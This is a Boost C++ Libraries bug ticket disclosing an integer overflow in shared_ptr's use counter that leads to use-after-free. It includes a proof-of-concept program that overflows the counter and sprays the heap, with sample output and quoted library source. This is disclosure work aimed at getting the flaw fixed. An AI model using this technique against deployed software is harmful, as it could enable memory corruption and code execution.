Boost C++ Libraries: Ticket #12335: Integer overflow in use counter of shared pointers. https://svn.boost.org/trac10/ticket/12335 <p> We (Christian Wressnegger, Fabian Yamaguchi, and Alwin Maier) would like to report an integer overflow of the use counter in the <code>share_pointer</code> object of the Boost Libraries version 1.61.0 and before. Exploiting the flaw requires some very specific prerequisites to be met, a successful attempt however allows an attacker to execute code. Consequently, this might be worth addressing. </p> <p> The following conditions must hold true in order to trigger the overflow: </p> <ul><li>The target is compiled and runs on an architecture where sizeof(size_t) is larger than sizeof(int), e.g. 64 bit systems with the LP64 (Linux/ BSD) or LLP64 (Windows) data model in order to allocate more UINT_MAX Objects. </li></ul><ul><li>The attacker is capable of triggering the creation of a multitude of shared objects. </li></ul><ul><li>The attacker can make one of these shared pointers go out of scope, e.g., by instructing the system to remove a state object. </li></ul><p> The following short program (shared_ptr_overflow.cpp) demonstrates the bug: First, we create a shared pointer referencing a minimal class <code>MyClass</code>. Second, 0xFFFFFFFF more references are created which results in the use counter to flip over to 0 again. Finally, we add one more reference (use counter is incremented to 1) and make one of the shared pointers go out of scope. As a result the use counter is decremented to 0 and the contained object is freed, leaving 0xFFFFFFFF shared pointer object behind, that still reference that memory region. Subsequently, an attacker may allocate memory containing arbitrary data such as executable code to take the place of the freed object and make all references left behind point to that piece of data. </p> <pre class="wiki">--- snip (shared_ptr_overflow.cpp) ---- //#define HAS_ENOUGH_MEMORY int main() { std::cout &lt;&lt; "1) Create an object and pass it over to a shared pointer..." &lt;&lt; std::endl; // We initialize the object on the heap and set x to 10. shared_ptr&lt;MyClass&gt; ptr(new MyClass(10)); std::cout &lt;&lt; " ptr.use_count() -&gt; " &lt;&lt; ptr.use_count() &lt;&lt; std::endl; // use-count is 1 const size_t numPtrs = (size_t) 0xFFFFFFFF; #ifdef HAS_ENOUGH_MEMORY std::cout &lt;&lt; "2) Create 0x" &lt;&lt; std::hex &lt;&lt; numPtrs &lt;&lt; " more references to that object..." &lt;&lt; std::endl; std::vector&lt;shared_ptr&lt;MyClass&gt;&gt; v(numPtrs); for (size_t i = 0; i &lt; numPtrs; i++) { v[i] = ptr; } std::cout &lt;&lt; " ptr.use_count() -&gt; " &lt;&lt; ptr.use_count() &lt;&lt; std::endl; // use-count is 0 std::cout &lt;&lt; "3) Create one more reference..." &lt;&lt; std::endl; { shared_ptr&lt;MyClass&gt; ptr2 = ptr; std::cout &lt;&lt; " ptr.use_count() -&gt; " &lt;&lt; ptr.use_count() &lt;&lt; std::endl; // use-count is 1 std::cout &lt;&lt; "4) That last reference goes out of scope again now..." &lt;&lt; std::endl; } #else { std::cout &lt;&lt; "2) Create an extra reference to that object..." &lt;&lt; std::endl; shared_ptr&lt;MyClass&gt; ptr2 = ptr; std::cout &lt;&lt; " ptr.use_count() -&gt; " &lt;&lt; ptr.use_count() &lt;&lt; std::endl; // use-count is 2 std::cout &lt;&lt; "3) Emulate 0x" &lt;&lt; std::hex &lt;&lt; numPtrs &lt;&lt; " more references to that object..." &lt;&lt; std::endl; for(size_t i = 0; i &lt; numPtrs; i++){ memset(&amp;ptr, '\0', sizeof(shared_ptr&lt;MyClass&gt;)); ptr = ptr2; } std::cout &lt;&lt; " ptr.use_count() -&gt; " &lt;&lt; ptr.use_count() &lt;&lt; std::endl; // use-count is 1 std::cout &lt;&lt; "4) One reference goes out of scope again now..." &lt;&lt; std::endl; } #endif std::cout &lt;&lt; " ptr.use_count() -&gt; " &lt;&lt; ptr.use_count() &lt;&lt; std::endl; // use-count is 0 std::cout &lt;&lt; "5) We now spray the heap with 'A's to overwrite the freed memory" &lt;&lt; std::endl; for(int i = 0; i &lt; 1000; i++){ char *foo = new char[4]; memset(foo, 'A', 4); } // The address stored in ptr is still that of the free'd object std::cout &lt;&lt; " ptr: " &lt;&lt; (void *) ptr.get() &lt;&lt; std::endl; // ptr-&gt;x is now 0x41414141 std::cout &lt;&lt; " value: " &lt;&lt; std::hex &lt;&lt; ptr-&gt;x &lt;&lt; std::endl; std::cout &lt;&lt; "*) Bye!" &lt;&lt; std::endl; #ifdef HAS_ENOUGH_MEMORY v.clear(); std::cout &lt;&lt; std::endl; std::cout &lt;&lt; "Destroying the last reference causes a double-free of the object..." &lt;&lt; std::endl; #endif return 0; } --- /snip --- </pre><p> For testing purposes the program can be compiled and run with the HAS_ENOUGH_MEMORY definition commented out, in order to reduce the hardware prerequisites. To test this, build the demo application using the provided make file, and execute the program as follows: </p> <pre class="wiki">--- snip --- $ make boost $ "./boost::shared_ptr" --- /snip --- </pre><p> This results in the following output: </p> <pre class="wiki">--- snip (output) --- 1) Create an object and pass it over to a shared pointer... ptr.use_count() -&gt; 1 2) Create an extra reference to that object... ptr.use_count() -&gt; 2 3) Emulate 0xffffffff more references to that object... ptr.use_count() -&gt; 1 4) One reference goes out of scope again now... destruct: 0x173d030 ptr.use_count() -&gt; 0 5) We now spray the heap with 'A's to overwrite the freed memory ptr: 0x173d030 value: 41414141 *) Bye! --- /snip --- </pre><p> In the following we point out the locations in the source code that make this attack possible. In the Boost library shared pointer (class shared_ptr) make use of <code>shared_count</code> objects for reference counting, which in turn uses a <code>sp_counted_base</code> implementation for a particular platform. </p> <pre class="wiki">--- snip (boost/smart_ptr/smart_ptr.hpp) --- template&lt;class T&gt; class shared_ptr { // ... private: element_type * px; // contained pointer boost::detail::shared_count pn; // reference counter (!) }; // shared_ptr --- /snip --- </pre><pre class="wiki">--- snip (boost/smart_ptr/detail/sp_counted_base_gcc_ia64.hpp) --- class sp_counted_base { private: sp_counted_base( sp_counted_base const &amp; ); sp_counted_base &amp; operator= ( sp_counted_base const &amp; ); int use_count_; // #shared (A) int weak_count_; // #weak + (#shared != 0) public: sp_counted_base(): use_count_( 1 ), weak_count_( 1 ) { } virtual ~sp_counted_base() // nothrow { } // dispose() is called when use_count_ drops to zero, to release // the resources managed by *this. virtual void dispose() = 0; // nothrow // destroy() is called when weak_count_ drops to zero. virtual void destroy() // nothrow { delete this; } virtual void * get_deleter( sp_typeinfo const &amp; ti ) = 0; virtual void * get_untyped_deleter() = 0; void add_ref_copy() { atomic_increment( &amp;use_count_ ); (B) } bool add_ref_lock() // true on success { return atomic_conditional_increment( &amp;use_count_ ) != 0; } void release() // nothrow { if( atomic_decrement( &amp;use_count_ ) == 0 ) (C) { dispose(); weak_release(); } } // ... }; --- /snip --- </pre><p> Given that the hardware qualifications are met, on 64-bit systems the number of allocated objects is only limited by the register size. Due to the migration between platforms and the resulting difference in size a register may hold larger integers than the <code>int</code> type (A) allows. <em> sizeof(int) == 4 on 32 and 64-bit systems. </em></p> <p> Consequently, the <code>use_count_</code> variable is incremented until it flips over to negative numbers, zero and finally to 1 (B). This is particularily interesting as once a single reference is then destroyed the referenced object is destroyed as well (C). This however leaves 0xFFFFFFFF shared pointers behind that still reference the freed memory location. </p> <p> Kind regards, Christian Wressnegger (TU Braunschweig) </p> en-us Boost C++ Libraries /htdocs/site/boost.png https://svn.boost.org/trac10/ticket/12335 Trac 1.4.3 Christian Wressnegger <c.wressnegger@…> Wed, 20 Jul 2016 09:28:36 GMT attachment set https://svn.boost.org/trac10/ticket/12335 https://svn.boost.org/trac10/ticket/12335 <ul> <li><strong>attachment</strong> → <span class="trac-field-new">shared_ptr_overflow.tar.gz</span> </li> </ul> <p> Small program demonstrating the issue </p> Ticket